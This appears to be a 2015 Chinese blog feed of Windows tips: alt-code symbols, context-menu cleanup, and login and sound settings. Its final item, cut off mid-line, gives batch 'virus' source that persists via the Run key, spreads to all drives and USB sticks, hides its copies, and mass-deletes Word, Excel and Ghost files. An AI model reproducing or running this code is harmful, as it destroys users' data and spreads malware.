13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43153☉&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43154?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43156〝&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　另外我再首先介绍2个符号 ▆ 和█ 组建搭配的输入玩法:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　▆的打法是按住 A!t 加数字43133 然后放手&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　█的打法是按住 A!t 加数字43136 然后放手&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　通过组建在游戏名中就可以打出以下图形：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　▆█▆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;▆█▆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　▆█▆ ▆█▆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　█▆█ █▆█&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　▆█▆ ▆█▆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　▆█▆ ▆█▆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　█▆█ █▆█&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　10/16新增符号:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41441=♂&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41424=⌒&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43088=≒&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41442=♀&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43401=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43402=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43403=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43404=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43405=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43406=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43408=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43409=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43410=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43411=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43412=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43413=?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43414=〇&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43155=〒&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43370=﹋(上)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43371=﹌&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43374=﹏(下)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43337=㊣&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43222=ㄖ&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43353=℡(&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=790]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:26:36 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[如何清理右键菜单实例]]></title>
  <description><![CDATA[<span style="font-size: 13px;">方法一：一键清理右键菜单&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;新建一个“文本文档”，复制进去以下代码...保存为“清理右键菜单.bat”....运行它就行了。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代码如下：&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@title §清理右键菜单§&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@Color b1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 正在清理右键菜单，请稍后……&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@regsvr32 /u /s igfxpph.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@reg delete HKEY_CLASSES_ROOTDirectoryBackgroundshellexContextMenuHandlers /f&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@reg add HKEY_CLASSES_ROOTDirectoryBackgroundshellexContextMenuHandlersnew /ve /d{D969A300-E7FF-11d0-A93B-00A0C90F2719}&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@goto end&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;方法二：用软件进行清理&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;优化大师、超级兔子等软件，可以进行“右键清理”操作。注意：操作之前要记得备份注册表。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;方法三：用控制面板卸载软件&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;删除您不使用的程序的文件类型，最好是卸载整个应用程序。可用“控制面板”中的“添加/删除程序”功能。此操作同时会将“新建”菜单的文件列表中的相应项目删除。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;方法四：在文件夹选项中删除&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;如果您自行卸载软件后，该文件类型的菜单选项仍然存在，请打开“文件夹选项”，单击“文件类型”选项卡，选取您不再使用的文件类型，单击“删除”按钮，确认删除。如此可将文件类型从关联文件菜单、注册表以及“新建”菜单中删除。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;方法五：在注册表中修改删除&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;◆清除“IE ”右键菜单项&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;如，清除“导出到 Microsoft Office Excel(&amp;X)”&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;①打开“注册表编辑器”：开始→运行→输入“Regedit”→确定；&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;②展开“HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt”，右击“导出到 Microsoft Office Excel(&amp;X)”，再单击“删除”。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;③关闭“注册表编辑器”窗口，打开网页按F5刷新。右击网页再看看右键菜单如下。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;◆删除“文件”右键菜单项&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;打开“注册表编辑器”；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;例1，删除无用的项&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;展开“HKEY_CLASSES_ROOT*shellexContextMenuHandlers”分支，找到要删除的项，然后右击该项，再单击“删除”。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;例2，删除用记事本打开&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;展开“HKEY_CLASSES_ROOT*shell”，删除“notepad”项。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;◆删除“文件夹”右键菜单项&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;在注册表中，可到下面位置查找右键菜单中的选项。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKEY_CLASSES_ROOTDirectoryshell&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKEY_CLASSES_ROOTFoldershell&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;◆清理右键“新建”菜单项&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;如，清除右键“新建”菜单中的“文本文件”&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;①打开“注册表编辑器”；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;②单击展开“HKEY_CLASSES_ROOT”根键，在文本文件扩展名.txt下找到“ShellNew”子键，将“ShellNew”改为“ShellNewOld”子键。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;每一种文件类型子键下只要包含了“ShellNew”子键，就会显示在新建菜单上，例如&#091;HKEY_CLASSES_ROOT＼.txt＼ShellNew&#093;将使右键快捷菜单中出现“新建”→“文本文件”菜单命令。因此，只需将不需要的文件类型子键下的“ShellNew”子键改为“ShellNewOld”子键，就可以不让它在“新建”菜单中出现了&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;清理“桌面”右键菜单项&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;①打开“注册表编辑器”；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;②展开“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerDiscardablePostSetupShellNew”，在右栏找到要删除的键值项，然后右击键值项，再单击“删除”。&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;◆清理“显卡驱动”添加的内容&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;①打开“注册表编辑器”；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;②进入“HKEY_CLASSES_ROOTDirectoryBackgroundshellexContextMenuHandlers”，删除“igfxcui”子项，保留new子项，然后重新启动系统。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;(注意：先导出以备份再删除)。</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=788]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:22:07 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[WINDOWXP开机时怎样取消帐户选择界面]]></title>
  <description><![CDATA[<span style="font-size: 13px;">在组策略里改，在运行里面输入gpedit.msc--用户配置--管理模板--系统（点选系统）在有面有一个“登陆时不要显示欢迎使用的屏幕”把未被配置，右击打开，选择启用就行了。&#091;/pre&#093;&#091;pre&#093; &#091;/pre&#093;&#091;pre&#093; “windows优化大师”，有一个选项，可以取消开机选择账户的。非常方便&#091;/pre&#093;&#091;pre&#093;个性化，将“自动匿名登陆”打钩</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=786]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:20:53 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[电脑开机的声音如何取消？]]></title>
  <description><![CDATA[<span style="font-size: 13px;">打开控制面板-声音和音频设备-声音:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　1如果只想关闭启动声音,则在程序事件项:找到&quot;Windows 登陆&quot;,在下面的声音选项中设置为&quot;无&quot;,即可&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　2不想听系统的所有事件发声,则在声音方案选项,选择&quot;无声&quot;确认后重启电脑试试&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　我一般装好电脑都是直接在声音方案里设置成&quot;无声&quot;,都快忘记系统该是什么声音了,&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　QQ什么的,全部静音,最不喜欢正在搞资料,突然鸡鸡鸡,嘟嘟嘟的.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　如果是vista，各种程序都可以单独控制音量。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　取消登陆的音乐，右键点喇叭图标-声音-播放windows启动声音（去掉勾选）即可。</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=785]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:20:25 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[win7装有虚拟机不是默认开机自动登录的解决方法？]]></title>
  <description><![CDATA[<span style="font-size: 13px;">对于win7不是默认开机自动登录，这点也是相当烦人，设置步骤：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;1.按win徽标键+R&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2.输入“control userpasswords2”或者“rundll32 netplwiz.dll,UsersRunDll”（两者一样效果，后者要注意大小写）&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;3.去掉“要使用本机，用户必须输入用户名和mi码”前的对号，点确定&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;4.在弹出的对话框中输入用户名和mi码，点确定&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ok了，重启试试，自动登录了吧&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=784]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:19:37 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[自己写批处理病毒]]></title>
  <description><![CDATA[<span style="font-size: 13px;">非常危险,千万别用...&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::病毒泛滥的今天,几乎所有的杀毒软件对批处理脚本都不感冒.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这篇我来讲讲用批处理写的病毒(算是病毒吧,因为基本符合了计算机病毒的概念:计算机病毒是人为的特制程序，具有自我复制能力，具有感染性，一定的潜伏性，特定的触发性和很大的破坏性。).就算不能当成病毒,也是破坏性极大的恶性程序.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::下面是我写的一小段,别看这一小段,也基本具备了病毒的特性.我在每一句上都做了注释,解释它运行的原理.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::@echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句是将它自身加入启动项,计算机启动的时候它将随机器运行.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v windowsdir /t reg_sz /d &quot;c:%~n0%~x0&quot; /f&gt;nul&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句定义一个变量DRIVES为机器里面盘符.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::set drives=c d e f g h i j k l m n o p q r s t u v w x y z&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句检测所有盘是否有自身这个文件,如果没有则把自身复制到这个盘,&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::for %%a in (%drives%) do if exist %%a:%0 (echo&gt;nul) else (copy %0 %%a:)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句是把所有盘的自身这个文件加上存档文件系统文件隐藏只读属性.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::for %%a in (%drives%) do attrib +a +s +h +r %%a:%~n0%~x0&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句是一个标签,用于跳转的.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:usb&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句是查找U盘,如果有U盘则把自身复制进去.如果在这时复制进去的是autorun.inf文件和自身,则实现了感染.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::关于传染性,只要有时间去写,实现网页传染局域网传染漏洞传染是一定可以实现的.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: &#124; find &quot;可移动驱动器&quot;&gt;NUL &amp;&amp; copy %0 %%i)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::这句可是破坏能力极大的一句了,删掉所有盘中的WORD,EXCEL和GHOST备份文档.当然,不仅仅是这点,只要去定义,删除任何文件都行.破坏性大吗?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::for %%i in (%drives%) do (del %%i:*.doc /f /s /q &amp; del %%i:*.xls /f /s /q &amp; del %%i:*.ghs /f /s /q)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::跳转到usb那个标签,重复的执行两句.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::goto:usb&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::最后,因为批处理在运行是是有窗口的,不过可以通过调用VBS来实现它的隐藏运行.下面是VBS代码.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Set ws = CreateObject(&quot;Wscript.Shell&quot;)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ws.run &quot;cmd /c 